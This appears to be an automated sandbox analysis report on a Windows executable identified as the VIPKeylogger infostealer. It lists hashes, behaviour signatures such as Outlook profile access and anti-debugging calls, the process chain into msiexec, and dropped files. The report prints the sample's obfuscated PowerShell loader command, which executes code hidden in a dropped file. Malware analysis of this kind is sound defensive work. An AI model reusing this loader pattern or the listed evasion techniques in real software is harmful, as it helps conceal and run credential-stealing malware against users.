Analysis

  • max time kernel
    142s
  • max time network
    141s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21-11-2024 04:39

General

  • Target

    41b359e55e25d9f92e6f4ea1b88b3cfe7c6ca962075a60ac9417548ad190c41e.exe

  • Size

    788KB

  • MD5

    39550a5532af152df27a096508a0d4e2

  • SHA1

    45317173c2771b28460dc4a473c2532983977de1

  • SHA256

    41b359e55e25d9f92e6f4ea1b88b3cfe7c6ca962075a60ac9417548ad190c41e

  • SHA512

    e4295d86586abd85284e43a7ce1a726f2ea3caa7e55699d9f2c70d72883dc31e6c6a0b2c6506b986f99911109ea42ee94a4a02e09cdc0e26591aad55f336a866

  • SSDEEP

    12288:pe8o3x64EvUa/AWpUyqVMjmtEatY9j4WT2jwl4TODIY703VBJ8k5bCqU:peRx5Ev9VpU5xh7wOqsY7G8kAqU

Malware Config

Extracted

Family

vipkeylogger

Credentials

Signatures

  • VIPKeylogger

    VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.

  • Vipkeylogger family
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Blocklisted process makes network request 8 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 23 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\41b359e55e25d9f92e6f4ea1b88b3cfe7c6ca962075a60ac9417548ad190c41e.exe
    "C:\Users\Admin\AppData\Local\Temp\41b359e55e25d9f92e6f4ea1b88b3cfe7c6ca962075a60ac9417548ad190c41e.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2124
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle minimized "$Havegrund=Get-Content -Raw 'C:\Users\Admin\AppData\Roaming\argoters\Necrotizing\Ukristeligheden\Gtevielsen.Pro';$Enmotoret=$Havegrund.SubString(14070,3);.$Enmotoret($Havegrund)"
      2⤵
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1916
      • C:\Windows\SysWOW64\msiexec.exe
        "C:\Windows\SysWOW64\msiexec.exe"
        3⤵
        • Accesses Microsoft Outlook profiles
        • Blocklisted process makes network request
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • outlook_office_path
        • outlook_win_path
        PID:4540

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_20ziyxhb.ihe.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\argoters\Necrotizing\Melodiseres\Banakite.Tor

    Filesize

    327KB

    MD5

    82fec85ca061eb5f2f6f249efa179539

    SHA1

    5c66653c3d0ced5cf381a2cbcf2fd71a3ee5fdc4

    SHA256

    8bfb0b50216b8e379adbe03d7dbbd36ef83686899f0e372314558b6aeb25d648

    SHA512

    4c9345b5fa544625dd4a16c3fc8aadd230c30d5491261493e12b18df9acac77623c42b933d2d3483a3d56f9455d53dab0739694b68d46b344e6a528bdc211caf

  • C:\Users\Admin\AppData\Roaming\argoters\Necrotizing\Ukristeligheden\Gtevielsen.Pro

    Filesize

    68KB

    MD5

    433b637e00993c25ff9c0e99137a4fe9

    SHA1

    3c05c4c44c1ed87b6616540c29d6bf6e460f6cff

    SHA256

    f7297c998e655734e779d3a4b699e8e0b58d263104850a18536628ef4bcfb344

    SHA512

    311c8cfb5e3a2b90cae3f07c38216b43fb6652301f4013bc2283ae32f8fbb420e862a27ccca9c435c6c0b655514958ea8c2b0af40d491954f7ad506acef9a2cd

  • memory/1916-6-0x000000007327E000-0x000000007327F000-memory.dmp

    Filesize

    4KB

  • memory/1916-7-0x0000000004DB0000-0x0000000004DE6000-memory.dmp

    Filesize

    216KB

  • memory/1916-8-0x0000000005420000-0x0000000005A48000-memory.dmp

    Filesize

    6.2MB

  • memory/1916-9-0x0000000073270000-0x0000000073A20000-memory.dmp

    Filesize

    7.7MB

  • memory/1916-10-0x0000000073270000-0x0000000073A20000-memory.dmp

    Filesize

    7.7MB

  • memory/1916-11-0x0000000005AD0000-0x0000000005AF2000-memory.dmp

    Filesize

    136KB

  • memory/1916-18-0x0000000005CE0000-0x0000000005D46000-memory.dmp

    Filesize

    408KB

  • memory/1916-14-0x0000000005C70000-0x0000000005CD6000-memory.dmp

    Filesize

    408KB

  • memory/1916-23-0x0000000005E50000-0x00000000061A4000-memory.dmp

    Filesize

    3.3MB

  • memory/1916-24-0x0000000006360000-0x000000000637E000-memory.dmp

    Filesize

    120KB

  • memory/1916-25-0x00000000063B0000-0x00000000063FC000-memory.dmp

    Filesize

    304KB

  • memory/1916-27-0x00000000068B0000-0x00000000068CA000-memory.dmp

    Filesize

    104KB

  • memory/1916-26-0x0000000007340000-0x00000000073D6000-memory.dmp

    Filesize

    600KB

  • memory/1916-28-0x0000000006900000-0x0000000006922000-memory.dmp

    Filesize

    136KB

  • memory/1916-29-0x00000000079D0000-0x0000000007F74000-memory.dmp

    Filesize

    5.6MB

  • memory/1916-31-0x0000000008600000-0x0000000008C7A000-memory.dmp

    Filesize

    6.5MB

  • memory/1916-32-0x0000000073270000-0x0000000073A20000-memory.dmp

    Filesize

    7.7MB

  • memory/1916-33-0x00000000077C0000-0x00000000077F2000-memory.dmp

    Filesize

    200KB

  • memory/1916-34-0x000000006F700000-0x000000006F74C000-memory.dmp

    Filesize

    304KB

  • memory/1916-35-0x000000006F860000-0x000000006FBB4000-memory.dmp

    Filesize

    3.3MB

  • memory/1916-45-0x0000000007800000-0x000000000781E000-memory.dmp

    Filesize

    120KB

  • memory/1916-46-0x0000000073270000-0x0000000073A20000-memory.dmp

    Filesize

    7.7MB

  • memory/1916-47-0x0000000007830000-0x00000000078D3000-memory.dmp

    Filesize

    652KB

  • memory/1916-48-0x0000000073270000-0x0000000073A20000-memory.dmp

    Filesize

    7.7MB

  • memory/1916-49-0x0000000007930000-0x000000000793A000-memory.dmp

    Filesize

    40KB

  • memory/1916-50-0x0000000007970000-0x000000000799A000-memory.dmp

    Filesize

    168KB

  • memory/1916-51-0x00000000079A0000-0x00000000079C4000-memory.dmp

    Filesize

    144KB

  • memory/1916-52-0x0000000073270000-0x0000000073A20000-memory.dmp

    Filesize

    7.7MB

  • memory/1916-54-0x000000007327E000-0x000000007327F000-memory.dmp

    Filesize

    4KB

  • memory/1916-55-0x0000000073270000-0x0000000073A20000-memory.dmp

    Filesize

    7.7MB

  • memory/1916-56-0x0000000073270000-0x0000000073A20000-memory.dmp

    Filesize

    7.7MB

  • memory/1916-58-0x0000000073270000-0x0000000073A20000-memory.dmp

    Filesize

    7.7MB

  • memory/1916-59-0x0000000073270000-0x0000000073A20000-memory.dmp

    Filesize

    7.7MB

  • memory/1916-61-0x0000000073270000-0x0000000073A20000-memory.dmp

    Filesize

    7.7MB

  • memory/1916-60-0x0000000008C80000-0x000000000BF4B000-memory.dmp

    Filesize

    50.8MB

  • memory/1916-62-0x0000000073270000-0x0000000073A20000-memory.dmp

    Filesize

    7.7MB

  • memory/1916-63-0x0000000073270000-0x0000000073A20000-memory.dmp

    Filesize

    7.7MB

  • memory/1916-65-0x0000000073270000-0x0000000073A20000-memory.dmp

    Filesize

    7.7MB

  • memory/1916-66-0x0000000073270000-0x0000000073A20000-memory.dmp

    Filesize

    7.7MB

  • memory/4540-79-0x0000000000B00000-0x0000000001D54000-memory.dmp

    Filesize

    18.3MB

  • memory/4540-80-0x0000000000B00000-0x0000000001D54000-memory.dmp

    Filesize

    18.3MB

  • memory/4540-81-0x0000000000B00000-0x0000000000B48000-memory.dmp

    Filesize

    288KB

  • memory/4540-82-0x0000000023040000-0x00000000230DC000-memory.dmp

    Filesize

    624KB

  • memory/4540-84-0x0000000023CA0000-0x0000000023E62000-memory.dmp

    Filesize

    1.8MB

  • memory/4540-85-0x00000000234E0000-0x0000000023530000-memory.dmp

    Filesize

    320KB

  • memory/4540-87-0x0000000023610000-0x00000000236A2000-memory.dmp

    Filesize

    584KB

  • memory/4540-88-0x00000000235C0000-0x00000000235CA000-memory.dmp

    Filesize

    40KB